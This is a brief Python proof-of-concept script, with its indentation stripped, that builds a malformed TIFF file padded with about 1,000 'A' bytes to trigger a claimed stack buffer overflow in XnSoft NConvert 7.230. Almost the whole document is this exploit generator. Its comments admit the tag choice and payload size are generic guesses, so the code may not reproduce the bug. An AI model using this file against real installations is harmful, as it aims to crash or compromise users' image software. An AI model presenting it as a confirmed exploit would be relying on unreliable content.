The following code is for security research and authorized testing only.
python
import struct
# Generate a malicious TIFF file to trigger the stack buffer overflow in XnSoft NConvert 7.230
def generate_poc(filename):
# TIFF Header (Little Endian)
# Byte order: II (0x4949)
# Version: 42 (0x2A)
# Offset to first IFD: 0x08 (pointing right after header)
header = b'II\x2A\x00\x08\x00\x00\x00'
# IFD (Image File Directory)
# Number of entries: Let's define 1 entry that causes the issue
# Assuming the vulnerability is triggered by a specific tag with a large value/offset
# This is a generic PoC structure;
real poc would depend on specific vulnerable tag.
num_entries = struct.pack('<H', 1)
# IFD Entry (12 bytes)
# Tag: 0x0100 (ImageWidth) - Example tag
# Type: 4 (LONG)
# Count: 1
# Value/Offset: Pointer to a large buffer or the data itself
# To trigger buffer overflow, we often need a specific tag that reads into a small buffer.
# Here we simulate a large offset or value that might be mishandled.
# In a real scenario based on the CVE description, we craft the .tiff structure accordingly.
# For this example, we append a large payload.
# Malicious payload (padding)
crash_payload = b'A' * 1000 # Adjust size based on specific buffer size in vulnerability
with open(filename, 'wb') as f:
f.write(header)
f.write(num_entries)
# Write a dummy IFD entry that might lead to reading the payload
f.write(b'\x00\x01\x04\x00\x01\x00\x00\x00' + struct.pack('<I', 0x1C)) # Offset to payload
# Next IFD offset (0 means end)
f.write(b'\x00\x00\x00\x00')
f.write(crash_payload)
print(f"[+] PoC file generated: {filename}")
if __name__ == "__main__":
generate_poc("exploit.tiff")